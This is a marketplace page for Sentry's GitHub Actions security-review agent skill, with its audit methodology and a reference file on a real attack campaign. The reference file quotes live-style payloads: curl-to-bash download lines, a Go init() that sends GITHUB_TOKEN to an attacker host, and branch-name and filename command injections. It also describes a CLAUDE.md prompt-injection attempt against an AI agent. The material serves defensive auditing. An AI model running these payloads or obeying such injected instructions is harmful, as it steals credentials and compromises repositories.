Gha Security Review
SentryOfficialPublished by Sentry
- Skill
- Review and audit
- Cloud and DevOps
- Apache-2.0
- Medium risk
AutoGineer summary
Written by AutoGineer from the skill’s own files, not by the author
This skill provides a structured methodology for auditing GitHub Actions workflows to identify exploitable vulnerabilities. It focuses on real-world attack patterns such as pwn requests, expression injection, credential theft, and supply chain attacks. The skill requires users to trace complete attack paths and provide concrete proof-of-concept scenarios for any reported findings, ensuring that only actionable, high-confidence vulnerabilities are identified.
What it does
- Audits .github/workflows/ and associated configuration files for security flaws.
- Identifies vulnerabilities exploitable by external attackers without repository write access.
- Maps workflow triggers to specific threat models like pull_request_target or issue_comment.
- Provides guidance on validating findings through attack path tracing.
- Categorizes findings by confidence level to prioritize actionable security issues.
- Suggests remediation steps for confirmed vulnerabilities.
When to use it
- When you need to perform a security audit of your GitHub Actions CI/CD pipeline.
- When investigating potential workflow exploitation vectors in a repository.
- When reviewing pull requests for CI/CD configuration security.
- When you need to verify if a workflow is susceptible to external attacker manipulation.
Advantages
- Focuses on concrete, exploitable attack paths rather than theoretical risks.
- Reduces noise by excluding vulnerabilities that require repository write access.
- Provides clear, actionable criteria for classifying findings.
- Includes specific detection patterns for common CI/CD vulnerabilities.
Usage examples
- “Review my GitHub Actions workflows for security vulnerabilities.”
- The agent will scan the .github/workflows/ directory, analyze triggers and permissions, and report any high or medium confidence vulnerabilities with a PoC.
- “Check if my CI is vulnerable to pwn requests.”
- The agent will specifically audit workflows using pull_request_target and check if they unsafely check out or execute code from forks.
- “Audit my issue_comment workflows for command injection.”
- The agent will examine workflows triggered by issue_comment to ensure they include proper author_association checks to prevent unauthorized command execution.
Install
Download the skill as a ZIP:
https://mp-staging.autogineer.com/agent-skills/getsentry/gha-security-review/downloadUnzip it into the cross-client skills folder of your project:
mkdir -p .agents/skills && unzip gha-security-review.zip -d .agents/skills
Documentation by Sentry
<!-- Attack patterns and real-world examples sourced from the HackerBot Claw campaign analysis by StepSecurity (2025): https://www.stepsecurity.io/blog/hackerbot-claw-github-actions-exploitation -->
GitHub Actions Security Review
Find exploitable vulnerabilities in GitHub Actions workflows. Every finding MUST include a concrete exploitation scenario — if you can't build the attack, don't report it.
This skill encodes attack patterns from real GitHub Actions exploits — not generic CI/CD theory.
Scope
Review the workflows provided (file, diff, or repo). Research the codebase as needed to trace complete attack paths before reporting.
Files to Review
.github/workflows/*.yml— all workflow definitionsaction.yml/action.yaml— composite actions in the repo.github/actions/*/action.yml— local reusable actionsConfig files loaded by workflows:
CLAUDE.md,AGENTS.md,Makefile, shell scripts under.github/
Out of Scope
Workflows in other repositories (only note the dependency)
GitHub App installation permissions (note if relevant)
Threat Model
Only report vulnerabilities exploitable by an external attacker — someone without write access to the repository. The attacker can open PRs from forks, create issues, and post comments. They cannot push to branches, trigger workflow_dispatch, or trigger manual workflows.
Do not flag vulnerabilities that require write access to exploit:
workflow_dispatchinput injection — requires write access to triggerExpression injection in
push-only workflows on protected branchesworkflow_callinput injection where all callers are internalSecrets in
workflow_dispatch/schedule-only workflows
Confidence
Report only HIGH and MEDIUM confidence findings. Do not report theoretical issues.
| Confidence | Criteria | Action |
|---|---|---|
| HIGH | Traced the full attack path, confirmed exploitable | Report with exploitation scenario and fix |
| MEDIUM | Attack path partially confirmed, uncertain link | Report as needs verification |
| LOW | Theoretical or mitigated elsewhere | Do not report |
For each HIGH finding, provide all five elements:
Entry point — How does the attacker get in? (fork PR, issue comment, branch name, etc.)
Payload — What does the attacker send? (actual code/YAML/input)
Execution mechanism — How does the payload run? (expression expansion, checkout + script, etc.)
Impact — What does the attacker gain? (token theft, code execution, repo write access)
PoC sketch — Concrete steps an attacker would follow
If you cannot construct all five, report as MEDIUM (needs verification).
Step 1: Classify Triggers and Load References
For each workflow, identify triggers and load the appropriate reference:
| Trigger / Pattern | Load Reference |
|---|---|
pull_request_target | references/pwn-request.md |
issue_comment with command parsing | references/comment-triggered-commands.md |
${{ }} in run: blocks | references/expression-injection.md |
| PATs / deploy keys / elevated credentials | references/credential-escalation.md |
| Checkout PR code + config file loading | references/ai-prompt-injection-via-ci.md |
| Third-party actions (especially unpinned) | references/supply-chain.md |
permissions: block or secrets usage | references/permissions-and-secrets.md |
| Self-hosted runners, cache/artifact usage | references/runner-infrastructure.md |
| Any confirmed finding | references/real-world-attacks.md |
Load references selectively — only what's relevant to the triggers found.
Step 2: Check for Vulnerability Classes
Check 1: Pwn Request
Does the workflow use pull_request_target AND check out fork code?
Look for
actions/checkoutwithref:pointing to PR headLook for local actions (
./.github/actions/) that would come from the forkCheck if any
run:step executes code from the checked-out PR
Check 2: Expression Injection
Are ${{ }} expressions used inside run: blocks in externally-triggerable workflows?
Map every
${{ }}expression in everyrun:stepConfirm the value is attacker-controlled (PR title, branch name, comment body — not numeric IDs, SHAs, or repository names)
Confirm the expression is in a
run:block, notif:,with:, or job-levelenv:
Check 3: Unauthorized Command Execution
Does an issue_comment-triggered workflow execute commands without authorization?
Is there an
author_associationcheck?Can any GitHub user trigger the command?
Does the command handler also use injectable expressions?
Check 4: Credential Escalation
Are elevated credentials (PATs, deploy keys) accessible to untrusted code?
What's the blast radius of each secret?
Could a compromised workflow steal long-lived tokens?
Check 5: Config File Poisoning
Does the workflow load configuration from PR-supplied files?
AI agent instructions:
CLAUDE.md,AGENTS.md,.cursorrulesBuild configuration:
Makefile, shell scripts
Check 6: Supply Chain
Are third-party actions securely pinned to full SHAs?
Pin third-party / external actions and reusable workflows only
Do not flag first-party
actions/*orgithub/*on version tagsDo not flag same-repo / vendored (
./.github/actions/...) as supply-chain pinning issuesOnly report when the job has secrets, OIDC, write token, release, deploy, package, or signing power — unprivileged read-only CI is not a finding
Check 7: Permissions and Secrets
Are workflow permissions minimal? Are secrets properly scoped?
Check 8: Runner Infrastructure
Are self-hosted runners, caches, or artifacts used securely?
Safe Patterns (Do Not Flag)
Before reporting, check if the pattern is actually safe:
| Pattern | Why Safe |
|---|---|
pull_request_target WITHOUT checkout of fork code | Never executes attacker code |
${{ github.event.pull_request.number }} in run: | Numeric only — not injectable |
${{ github.repository }} / github.repository_owner | Repo owner controls this |
${{ secrets.* }} | Not an expression injection vector |
${{ }} in if: conditions | Evaluated by Actions runtime, not shell |
${{ }} in with: inputs | Passed as string parameters, not shell-evaluated |
| Third-party actions pinned to full SHA | Immutable reference |
First-party actions/* / github/* on version tags | Outside third-party pinning policy — do not flag |
| Same-repo / vendored local actions | Not third-party supply chain (review pwn-request separately) |
pull_request trigger (not _target) | Runs in fork context with read-only token |
Any expression in workflow_dispatch/schedule/push to protected branches | Requires write access — outside threat model |
Key distinction: ${{ }} is dangerous in run: blocks (shell expansion) but safe in if:, with:, and env: at the job/step level (Actions runtime evaluation).
Step 3: Validate Before Reporting
Before including any finding, read the actual workflow YAML and trace the complete attack path:
Read the full workflow — don't rely on grep output alone
Trace the trigger — confirm the event and check
if:conditions that gate executionTrace the expression/checkout — confirm it's in a
run:block or actually references fork codeConfirm attacker control — verify the value maps to something an external attacker sets
Check existing mitigations — env var wrapping, author_association checks, restricted permissions, SHA pinning
If any link is broken, mark MEDIUM (needs verification) or drop the finding.
If no checks produced a finding, report zero findings. Do not invent issues.
Step 4: Report Findings
## GitHub Actions Security Review
### Findings
#### [GHA-001] [Title] (Severity: Critical/High/Medium)
- **Workflow**: `.github/workflows/release.yml:15`
- **Trigger**: `pull_request_target`
- **Confidence**: HIGH — confirmed through attack path tracing
- **Exploitation Scenario**:
1. [Step-by-step attack]
- **Impact**: [What attacker gains]
- **Fix**: [Code that fixes the issue]
### Needs Verification
[MEDIUM confidence items with explanation of what to verify]
### Reviewed and Cleared
[Workflows reviewed and confirmed safe]If no findings: "No exploitable vulnerabilities identified. All workflows reviewed and cleared."
Files
- ATTRIBUTION.mdAdded by AutoGineer862 B
- LICENSELicence file added by AutoGineer10.5 KiB
- SKILL.md8.8 KiB
- references/ai-prompt-injection-via-ci.md5.3 KiB
- references/comment-triggered-commands.md5.5 KiB
- references/credential-escalation.md6.5 KiB
- references/expression-injection.md8.4 KiB
- references/permissions-and-secrets.md7.7 KiB
- references/pwn-request.md5.8 KiB
- references/real-world-attacks.md9.2 KiB
- references/runner-infrastructure.md7.9 KiB
- references/supply-chain.md9.4 KiB
references/real-world-attacks.md
Real-World GitHub Actions Attacks
Overview
This reference documents 7 attacks from the HackerBot Claw campaign (February-March 2025), which targeted high-profile open source repositories using GitHub Actions exploitation techniques. These are real, documented attacks — use them to calibrate severity and validate findings.
Attack Timeline
| Date (UTC) | Target | Stars | Method | Outcome |
|---|---|---|---|---|
| Feb 27, 05:14 | microsoft/ai-discovery-agent | — | Branch name injection | RCE likely |
| Feb 27, 05:26 | DataDog/datadog-iac-scanner | — | Filename injection | RCE confirmed |
| Feb 28, 00:57 | avelino/awesome-go | 140k+ | Go init() injection | Token exfiltration |
| Feb 28, 03:28 | aquasecurity/trivy | 25k+ | PAT theft via local action | Full repo compromise |
| Feb 28, 05:26 | ambient-code/platform | — | AI prompt injection | Blocked by Claude |
| Feb 28, 18:28 | project-akri/akri | — | Script injection via comment | RCE confirmed |
| Mar 2, 05:57 | RustPython/RustPython | — | Base64 branch injection | Partial execution |
Success rate: 5 out of 7 targets achieved code execution or higher.
Attack 1: awesome-go — Go init() Injection
Category: Pwn Request Stars: 140,000+
Vulnerable Workflow
on: pull_request_target
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: go run ./.github/scripts/check-quality/Attack
The attacker opened 6 PRs (Feb 28, 18:03-18:14 UTC) that modified Go files under .github/scripts/check-quality/. Each contained an init() function:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \
-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" \
https://recv.hackmoltrepeat.com/ && \
curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}Indicators
Build logs showed 5m37s execution time for quality checks (normally seconds)
GITHUB_TOKENwith write permissions was exfiltrated6 PRs in 11 minutes from the same attacker
Lesson
Go init() functions are invisible to casual review — they execute before main() without being called. Any go run, go test, or go build on fork code will trigger them.
Attack 2: trivy — PAT Theft and Full Repo Compromise
Category: Credential Escalation Stars: 25,000+
Vulnerable Workflow
on: pull_request_target
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.ref }}
- uses: ./.github/actions/setup-go/action.yaml # FROM FORKAttack
The attacker modified .github/actions/setup-go/action.yaml in the fork to inject:
curl -sSfL https://hackmoltrepeat.com/molt | bashBecause pull_request_target runs fork code with target repo secrets, the classic PAT (AUTO_COMMIT_PAT) was stolen.
Post-Exploitation (Feb 28, 03:47 UTC)
With the stolen PAT, the attacker:
Renamed repository to
aquasecurity/private-trivyand made it privateDeleted all GitHub Releases (versions 0.27.0 through 0.69.1)
Pushed malicious artifact to trivy's VSCode extension on Open VSIX marketplace
Pushed vandalism commit directly to main branch
Indicators
"Set up Go" step took 5+ minutes (normally seconds)
curlcommand visible in build logsRepository briefly disappeared (renamed/privatized)
Lesson
This is the maximum-impact scenario: a classic PAT grants access to ALL repositories the user can access. Even "fine-grained" PATs can be devastating if scoped too broadly. Never expose PATs to fork code.
Attack 3: microsoft/ai-discovery-agent — Branch Name Injection
Category: Expression Injection Target: Microsoft repository
Vulnerable Workflow
- name: Save format request data
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_refAttack
Branch name used as payload:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)Breakdown:
${IFS}becomes a space character (Internal Field Separator)$({curl,-sSfL,...})is brace expansion + command substitutionPipe to
bashexecutes downloaded script
Indicators
2m38s execution gap in "Save format request data" step (Feb 27, 05:14 UTC)
Downstream workflow file corrupted with curl output instead of branch name
Lesson
Branch names are attacker-controlled and can contain shell metacharacters. Always use environment variables, never direct ${{ }} in run: blocks.
Attack 4: DataDog/datadog-iac-scanner — Filename Injection
Category: Expression Injection Target: DataDog repository
Attack
Base64-encoded shell commands embedded in filenames:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).mdWhen the workflow iterated over modified files using ${{ }}, the filename was interpreted as a shell command.
Response
DataDog deployed emergency fixes within 9 hours (PR #9, Feb 27). Build logs showed base64 decoding errors with 2.5-minute execution gap, confirming shell injection fired.
Lesson
File paths from PRs are attacker-controlled. When a workflow lists or iterates over changed files, those paths must never flow through ${{ }} into run: blocks.
Attack 5: ambient-code/platform — AI Prompt Injection
Category: AI Config Poisoning Target: Repository using Claude Code Action
Vulnerable Configuration
on: pull_request_target
permissions:
contents: write
env:
allowed_non_write_users: '*'
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.ref }}
- uses: anthropics/claude-code-action@v1Attack
The attacker replaced CLAUDE.md with instructions directing Claude to commit unauthorized changes, modify README, and post fake approval comments.
Outcome
Blocked. Claude identified both injection attempts immediately, classifying it as a "textbook AI agent supply-chain attack via poisoned project-level instructions." The workflow configuration was still vulnerable — the defense was the AI agent's detection capability, not the workflow design.
Lesson
AI agent configuration files (CLAUDE.md, AGENTS.md, .cursorrules) are a new attack surface. Protect them with CODEOWNERS and mandatory review. Don't rely solely on AI detection — fix the workflow configuration.
Attack 6: project-akri — Comment-Triggered Script Injection
Category: Unauthorized Command Execution Target: CNCF project
Vulnerable Workflow
on: issue_comment
jobs:
version:
if: |
github.event.issue.pull_request &&
contains(github.event.comment.body, '/version')
# Missing: author_association check
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.ref }}
- run: ./version.sh -u -nAttack
Attacker opened PR modifying
version.shto inject payload at the top:#!/usr/bin/env bash curl -sSfL https://hackmoltrepeat.com/molt | bash check_file_version() # Original code continuesAttacker commented
/version minoron the PRWorkflow triggered without authorization check
Fork's
version.shexecuted with repo permissions
Indicators
Workflow run 22526467048 (Feb 28)
"Update version minor" step succeeded before failing at authentication
Lesson
issue_comment workflows must check author_association. Without it, any GitHub user can trigger privileged operations via comments on public repos.
Attack 7: RustPython — Base64 Branch Name Injection
Category: Expression Injection Target: RustPython project
Attack
Similar to the Microsoft attack but using base64-encoded payload in the branch name. The attack achieved partial execution before being detected.
Lesson
Base64 encoding is a common evasion technique for branch name and filename injection. The decoded payload is the same curl | bash pattern.
Common Patterns Across All Attacks
Same attacker infrastructure: All attacks used
hackmoltrepeat.comfor payload deliverySame payload delivery:
curl -sSfL [url] | bashpattern in every attackRapid iteration: Multiple targets hit within days (Feb 27 - Mar 2)
Targeting popular repos: Focused on high-star-count repos for maximum impact
Exploiting
pull_request_target: 4 of 7 attacks used this triggerExpression injection: 3 of 7 attacks used
${{ }}injection
Using This Reference
When you confirm a finding in a review, reference the most similar real-world attack:
Pwn request → awesome-go or trivy (depending on credential scope)
Expression injection → microsoft/ai-discovery-agent or DataDog
Comment command → project-akri
AI config poisoning → ambient-code/platform
Credential theft → trivy (worst-case scenario)
Include the real-world precedent in your finding to help stakeholders understand the concrete risk.
References
Requirements and compatibility
Works with: Claude Code, Claude apps, OpenAI Codex, GitHub Copilot, Cursor, Gemini CLI, Kiro, OpenCode, Goose, Amp, Roo Code, JetBrains Junie, Factory Droid, Devin (ex-Windsurf), Mistral Vibe, OpenHands, Letta
“Works with” means the tool reads the open Agent Skills format; a skill written for one tool may use features others lack.
Needs: Declares allowed tools
Security
What our scanner noticed· Medium risk
- References to credential files
- Instructions that use the network
- Downloads piped into a shell
A static scan is not a guarantee. Skills are third-party content: review a skill before you let an agent use it.
Attribution and licence
- Published by
- Sentry
- Publisher
- Sentry (Official)
- Source
- getsentry/skills · skills/gha-security-review · commit e94f222
- Licence
- Apache License 2.0 (redistribution allowed)
- LICENSE (added by AutoGineer from LICENSE)
- ATTRIBUTION.md (written by AutoGineer)
- Synced
AutoGineer is not affiliated with or endorsed by Sentry.
Download ZIP
The ZIP holds the skill’s files, its licence files and an ATTRIBUTION.md. Download gha-security-review.zip